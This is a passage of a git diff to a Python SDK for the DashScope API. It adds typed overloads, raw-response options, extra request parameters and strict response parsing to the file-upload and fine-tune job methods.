_is_valid_jsonl(file_path: str) -> bool: @@ -210,6 +295,7 @@ class Files: def __init__(self, client) -> None: self._client = client + @overload def upload( self, *, @@ -219,10 +305,56 @@ def upload( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> File: + ... + + @overload + def upload( + self, + *, + file_path: str, + purpose: str = "fine-tune", + description: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def upload( + self, + *, + file_path: str, + purpose: str = "fine-tune", + description: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[File, "APIResponse"]: + """Upload a JSONL file for fine-tuning. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ _validate_upload(file_path, purpose) data, files = _upload_form(file_path, description) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", _BASE_PATH, data=data, @@ -231,11 +363,28 @@ def upload( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_upload( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_upload(response_json(response)), response) - def list( + @overload + def list( # pylint: disable=redefined-builtin self, *, page_no: int = 1, @@ -243,8 +392,54 @@ def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> FileList: - response = self._client.transport.request( + ... + + @overload + def list( # pylint: disable=redefined-builtin + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( # pylint: disable=redefined-builtin + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[FileList, "APIResponse"]: + """List uploaded files, one page at a time. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. A raw response + carries no pagination callback -- use ``FileList.iter_pages()`` on the + parsed result to cross pages. + """ + resp = self._client.transport.request_api( "GET", _BASE_PATH, params={"page_no": page_no, "page_size": page_size}, @@ -252,10 +447,40 @@ def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + result = _parse_list( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_list(response_json(response)), response) + result.bind_pagination( + lambda next_no, next_size: self.list( + page_no=next_no, + page_size=next_size, + timeout=timeout, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ), + requested_page_no=page_no, + requested_page_size=page_size, + ) + return with_headers(result, resp.http_response) + @overload def get( self, file_id: str, @@ -263,22 +488,84 @@ def get( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> File: + ... + + @overload + def get( + self, + file_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def get( + self, + file_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[File, "APIResponse"]: + """Fetch one uploaded file's metadata. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It also skips the + ``NotFoundError`` refinement documented on + :func:`_check_by_id_response`: a missing file comes back as the + gateway's own 400 body rather than raising. + """ _require_file_id(file_id) - response = self._client.transport.request( + resp = self._client.transport.request_api( "GET", f"{_BASE_PATH}/{file_id}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) + if raw: + return resp _check_by_id_response( - response, + resp.http_response, raise_on_error=self._client.raise_on_error, ) - return with_headers(_parse_file(response_json(response)), response) + return with_headers( + _parse_file( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, + ) + @overload def delete( self, file_id: str, @@ -286,27 +573,89 @@ def delete( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> DeletionStatus: + ... + + @overload + def delete( + self, + file_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def delete( + self, + file_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[DeletionStatus, "APIResponse"]: + """Delete one uploaded file. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It also skips the + ``NotFoundError`` refinement documented on + :func:`_check_by_id_response`: deleting a file that is already gone + comes back as the gateway's own 400 body rather than raising. + """ _require_file_id(file_id) - response = self._client.transport.request( + resp = self._client.transport.request_api( "DELETE", f"{_BASE_PATH}/{file_id}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) + if raw: + return resp _check_by_id_response( - response, + resp.http_response, raise_on_error=self._client.raise_on_error, ) - return with_headers(_parse_delete(response_json(response)), response) + return with_headers( + _parse_delete( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, + ) class AsyncFiles: def __init__(self, client) -> None: self._client = client + @overload async def upload( self, *, @@ -316,10 +665,56 @@ async def upload( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> File: + ... + + @overload + async def upload( + self, + *, + file_path: str, + purpose: str = "fine-tune", + description: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def upload( + self, + *, + file_path: str, + purpose: str = "fine-tune", + description: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[File, "APIResponse"]: + """Upload a JSONL file for fine-tuning. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ _validate_upload(file_path, purpose) data, files = _upload_form(file_path, description) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "POST", _BASE_PATH, data=data, @@ -328,11 +723,28 @@ async def upload( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_upload( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_upload(response_json(response)), response) - async def list( + @overload + async def list( # pylint: disable=redefined-builtin self, *, page_no: int = 1, @@ -340,8 +752,54 @@ async def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> FileList: - response = await self._client.transport.request( + ... + + @overload + async def list( # pylint: disable=redefined-builtin + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def list( # pylint: disable=redefined-builtin + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[FileList, "APIResponse"]: + """List uploaded files, one page at a time. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. A raw response + carries no pagination callback -- use ``FileList.iter_pages()`` on the + parsed result to cross pages. + """ + resp = await self._client.transport.request_api( "GET", _BASE_PATH, params={"page_no": page_no, "page_size": page_size}, @@ -349,10 +807,40 @@ async def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + result = _parse_list( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ) + result.bind_pagination( + lambda next_no, next_size: self.list( + page_no=next_no, + page_size=next_size, + timeout=timeout, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ), + requested_page_no=page_no, + requested_page_size=page_size, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_list(response_json(response)), response) + return with_headers(result, resp.http_response) + @overload async def get( self, file_id: str, @@ -360,22 +848,84 @@ async def get( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> File: + ... + + @overload + async def get( + self, + file_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def get( + self, + file_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[File, "APIResponse"]: + """Fetch one uploaded file's metadata. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It also skips the + ``NotFoundError`` refinement documented on + :func:`_check_by_id_response`: a missing file comes back as the + gateway's own 400 body rather than raising. + """ _require_file_id(file_id) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "GET", f"{_BASE_PATH}/{file_id}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) + if raw: + return resp _check_by_id_response( - response, + resp.http_response, raise_on_error=self._client.raise_on_error, ) - return with_headers(_parse_file(response_json(response)), response) + return with_headers( + _parse_file( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, + ) + @overload async def delete( self, file_id: str, @@ -383,18 +933,79 @@ async def delete( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> DeletionStatus: + ... + + @overload + async def delete( + self, + file_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def delete( + self, + file_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[DeletionStatus, "APIResponse"]: + """Delete one uploaded file. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It also skips the + ``NotFoundError`` refinement documented on + :func:`_check_by_id_response`: deleting a file that is already gone + comes back as the gateway's own 400 body rather than raising. + """ _require_file_id(file_id) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "DELETE", f"{_BASE_PATH}/{file_id}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) + if raw: + return resp _check_by_id_response( - response, + resp.http_response, raise_on_error=self._client.raise_on_error, ) - return with_headers(_parse_delete(response_json(response)), response) + return with_headers( + _parse_delete( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, + ) diff --git a/dashscope/resources/fine_tunes.py b/dashscope/resources/fine_tunes.py index 47ed066f..c1d39c62 100644 --- a/dashscope/resources/fine_tunes.py +++ b/dashscope/resources/fine_tunes.py @@ -16,6 +16,7 @@ import asyncio import time from typing import ( + TYPE_CHECKING, Any, AsyncIterator, Awaitable, @@ -23,8 +24,11 @@ Dict, Iterator, List, + Literal, + Mapping, Optional, Union, + overload, ) from pydantic import ( @@ -37,9 +41,7 @@ from dashscope.errors import ( DashScopeError, - check_response, error_from_business_code, - response_json, ) from dashscope.resources._jobs import ( CANCELED, @@ -56,6 +58,8 @@ _stream_error, _try_json, ) +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( JobStatus, ResponseBase, @@ -65,6 +69,11 @@ with_headers, ) +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse + _BASE_PATH = "/fine-tunes" MODULE = "finetune" @@ -175,32 +184,100 @@ class FineTuneEvent(BaseModel): is_error: bool = False -def _parse_job(body: Dict[str, Any]) -> FineTune: - return FineTune(**flatten_envelope(body)) +def _parse_job( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> FineTune: + return parse_model( + FineTune, + flatten_envelope(body), + strict=strict, + response=response, + ) -def _parse_list(body: Dict[str, Any]) -> FineTuneList: +def _parse_list( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> FineTuneList: data = flatten_envelope(body) - jobs = data.get("jobs") or [] - return FineTuneList( - page_no=data.get("page_no", 1), - page_size=data.get("page_size", 10), - total_count=data.get("total", len(jobs)), - jobs=jobs, - **response_envelope(data), + jobs = data.get("jobs") + if not isinstance(jobs, list): + # A retyped ``jobs`` would poison the ``len()`` below (a string's + # length is not a page total). Empty is the honest reading of + # "not a list", matching ``models._parse_list``. + jobs = [] + return parse_model( + FineTuneList, + { + "page_no": data.get("page_no", 1), + "page_size": data.get("page_size", 10), + "total_count": data.get("total", len(jobs)), + "jobs": jobs, + **response_envelope(data), + }, + strict=strict, + response=response, ) -def _parse_status(body: Dict[str, Any]) -> JobStatus: - return JobStatus(**flatten_envelope(body)) +def _parse_status( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> JobStatus: + return parse_model( + JobStatus, + flatten_envelope(body), + strict=strict, + response=response, + ) -def _parse_logs(job_id: str, body: Dict[str, Any]) -> JobLogs: +def _parse_logs( + job_id: str, + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> JobLogs: data = flatten_envelope(body) - return JobLogs( - job_id=job_id, - content=data.get("logs") or "", - **response_envelope(data), + return parse_model( + JobLogs, + { + "job_id": job_id, + "content": data.get("logs") or "", + **response_envelope(data), + }, + strict=strict, + response=response, + ) + + +def _parse_event( + data: Any, + *, + is_error: bool = False, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> FineTuneEvent: + """One SSE frame, degrading rather than breaking the iteration. + + A drifted frame used to raise a bare ``ValidationError`` partway + through the generator -- earlier frames were already consumed and + ``except DashScopeError`` could not catch it. ``response`` is the + stream itself, which is the only response a frame belongs to. + """ + return parse_model( + FineTuneEvent, + {"output": _try_json(data), "is_error": is_error}, + strict=strict, + response=response, ) @@ -242,6 +319,7 @@ class FineTunes: def __init__(self, client) -> None: self._client = client + @overload def create( self, *, @@ -254,7 +332,59 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> FineTune: + ... + + @overload + def create( + self, + *, + model: str, + training_file_ids: Union[List[str], str], + validation_file_ids: Union[List[str], str, None] = None, + mode: Optional[str] = None, + hyper_parameters: Optional[Dict[str, Any]] = None, + finetuned_model: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + training_file_ids: Union[List[str], str], + validation_file_ids: Union[List[str], str, None] = None, + mode: Optional[str] = None, + hyper_parameters: Optional[Dict[str, Any]] = None, + finetuned_model: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[FineTune, "APIResponse"]: + """Create a fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body = _build_create_body( model, training_file_ids, @@ -263,7 +393,7 @@ def create( hyper_parameters, finetuned_model, ) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", _BASE_PATH, json=body, @@ -271,10 +401,27 @@ def create( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_job( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_job(response_json(response)), response) + @overload def get( self, job_id: str, @@ -282,18 +429,77 @@ def get( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> FineTune: - response = self._client.transport.request( + ... + + @overload + def get( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def get( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[FineTune, "APIResponse"]: + """Fetch one fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "GET", f"{_BASE_PATH}/{job_id}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_job( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_job(response_json(response)), response) + @overload def list( self, *, @@ -302,8 +508,52 @@ def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> FineTuneList: - response = self._client.transport.request( + ... + + @overload + def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[FineTuneList, "APIResponse"]: + """List fine-tune jobs, one page at a time. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "GET", _BASE_PATH, params={"page_no": page_no, "page_size": page_size}, @@ -311,10 +561,27 @@ def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_list( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_list(response_json(response)), response) + @overload def cancel( self, job_id: str, @@ -322,18 +589,77 @@ def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - response = self._client.transport.request( + ... + + @overload + def cancel( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def cancel( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Cancel a running fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "POST", f"{_BASE_PATH}/{job_id}/cancel", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_status( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_status(response_json(response)), response) + @overload def delete( self, job_id: str, @@ -341,18 +667,77 @@ def delete( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - response = self._client.transport.request( + ... + + @overload + def delete( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def delete( + self, + job_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Delete a fine-tune job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "DELETE", f"{_BASE_PATH}/{job_id}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_status( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_status(response_json(response)), response) + @overload def logs( self, job_id: str, @@ -362,8 +747,54 @@ def logs( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobLogs: - response = self._client.transport.request( + ... + + @overload + def logs( + self, + job_id: str, + *, + offset: int = 